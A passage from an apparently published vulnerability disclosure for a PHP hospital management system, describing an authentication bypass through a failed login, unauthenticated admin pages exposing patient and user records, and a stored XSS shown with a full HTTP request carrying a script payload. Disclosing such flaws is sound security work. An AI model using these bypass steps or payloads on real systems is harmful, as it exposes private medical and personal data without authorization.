26     $_SESSION['login']=$_POST['username'];

```

If the user enters the wrong username and password, line 26 assigns the username submitted by the user to `$_SESSION['login']`.

So as long as you first visit `/hms/user-login.php` and try to log in to an account, `$_SESSION['login']` will not be empty, you can bypass the check of the `check_login` function and achieve privilege elevation.

Back in `\hms\admin\appointment-history.php`:

```

81 $sql=mysqli_query($con,"select doctors.doctorName as
docname,users.fullName as pname,appointment.* from appointment join
doctors on doctors.id=appointment.doctorId join users on
users.id=appointment.userId ");

```

Line 81 does not verify whether the current user has "admin" permission to directly output the query data, so the data can be obtained without authentication:

PATIENTS APPOINTMENT HISTORY							
#	Doctor Name	Patient Name	Specialization	Consultancy Fee	Appointment Date / Time	Appointment Creation Date	Current Status
1.	abc	Test user	Demo test	600	2019-06-29 / 9:15 AM	2019-06-24 02:31:28	Canceled
2.	Sanjeev	Amit kumar	Ayurveda	8050	2019-11-08 / 1:00 PM	2019-11-05 18:28:54	Active
3.	Anuj kumar	John	Dermatologist	500	2019-11-30 / 5:30 PM	2019-11-11 02:41:34	Cancel by Doctor
4.	Anuj	Amit	1	4	5 / 6	2020-02-14 10:35:39	Canceled

Similarly, you can view all user information without authorization. Visit `/hms/admin/manage-users.php`:

127.0.0.1:8009/hms/admin/manage-users.php							
Hospital Ma							
2.	Amit	New Delhi	New delhi	male	amit@gmail.com	2017-01-07 14:36:53	
3.	Rahul Singh	New Delhi	New delhi	male	rahul@gmail.com	2017-01-07 15:41:14	
4.	Amit kumar	New Delhi India	Delhi	male	amit12@gmail.com	2017-01-07 16:00:26	
5.	Test user	New Delhi	Delhi	male	tetuser@gmail.com	2019-06-24 02:24:53	
6.	John	USA	Newyork	male	john@test.com	2019-11-11 02:40:21	
7.	aaa	bbb	ccc	female	1@2sq.com	2020-02-13 15:18:28	
8.	aaa	0	2	3	4	2020-02-13 15:20:44	
9.	aaa	1	2	3	4	2020-02-13 15:21:26	
10.	aaa	1	2	3	4	2020-02-13 15:21:30	
11.	waste leer			female		2020-02-14 16:44:38	

[13]

In `\hms\admin\appointment-history.php`:

```

81 $sql=mysqli_query($con,"select doctors.doctorName as
docname,users.fullName as pname,appointment.* from appointment join
doctors on doctors.id=appointment.doctorId join users on
users.id=appointment.userId");
82 $cnt=1;
83 while($row=mysqli_fetch_array($sql))
84 {
85     ?>
86
87     <tr>
88         <td class="center">
89             <?php echo $cnt;?>.
90             </td>
91             <td class="hidden-xs">
92                 <?php echo $row[
93                     'docname'];?></td>
94             <td class="hidden-xs">
95                 <?php echo $row[
96                     'pname'];?></td>
97             <td><?php echo $row[
98                 'doctorSpecialization'
99             ];?></td>
100             <td><?php echo $row[
101                 'consultancyFees'];?>
102             </td>
103             <td><?php echo $row[
104                 'appointmentDate'];?>
105             / <?php echo
106             $row[
107                 'appointmentTime'];?>
108             </td>
109             <td><?php echo $row[
110                 'postingDate'];?></td>
111             <td>

```

After querying the data in line 81, the data is directly output in lines 88-97 without filtering to prevent xss attacks.

The data comes from \hms\book-appointment.php:

```

6 check_login();
7
8 if(isset($_POST['submit']))
9 {
10 $specilization=$_POST['Doctorspecialization'];
11 $doctorid=$_POST['doctor'];
12 $userid=$_SESSION['id'];
13 $fees=$_POST['fees'];
14 $appdate=$_POST['appdate'];
15 $time=$_POST['apptime'];
16 $userstatus=1;
17 $docstatus=1;
18 $query=mysqli_query($con,"insert into
appointment(doctorSpecialization,doctorId,userId,consultancyFees,appoi
ntmentDate,appointmentTime,userStatus,doctorStatus) values('
$specilization','$doctorid','$userid','$fees','$appdate','$time','$
userstatus','$docstatus')");

```

In summary, registered users can submit an appointment record with an XSS attack payload, and the vulnerability will be triggered when the administrator views the record.

After logging in the user account, submit the following request to save the appointment record:

```

POST /hms/book-appointment.php HTTP/1.1
Host: 127.0.0.1:8009
Connection: keep-alive
Content-Length: 124
Pragma: no-cache
Cache-Control: no-cache
Origin: http://127.0.0.1:8009
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.100 Safari/537.36
Sec-Fetch-Dest: document
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Referer: http://127.0.0.1:8009/hms/book-appointment.php
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: PHPSESSID=qd2khhmibk6ro2f92n16k7bega0

Doctorspecialization=</td><script>alert("XSS");</script><td>&doctor=7&appdate=2020-02-13&apptime=10%3A30+AM&submit=&fees=2

```

This XSS is triggered when the administrator visits /hms/admin/appointment-history.php:

127.0.0.1:8009/hms/admin/appointment-history.php

127.0.0.1:8009 显示
XSS

确定

Releases

No releases published

Packages

No packages published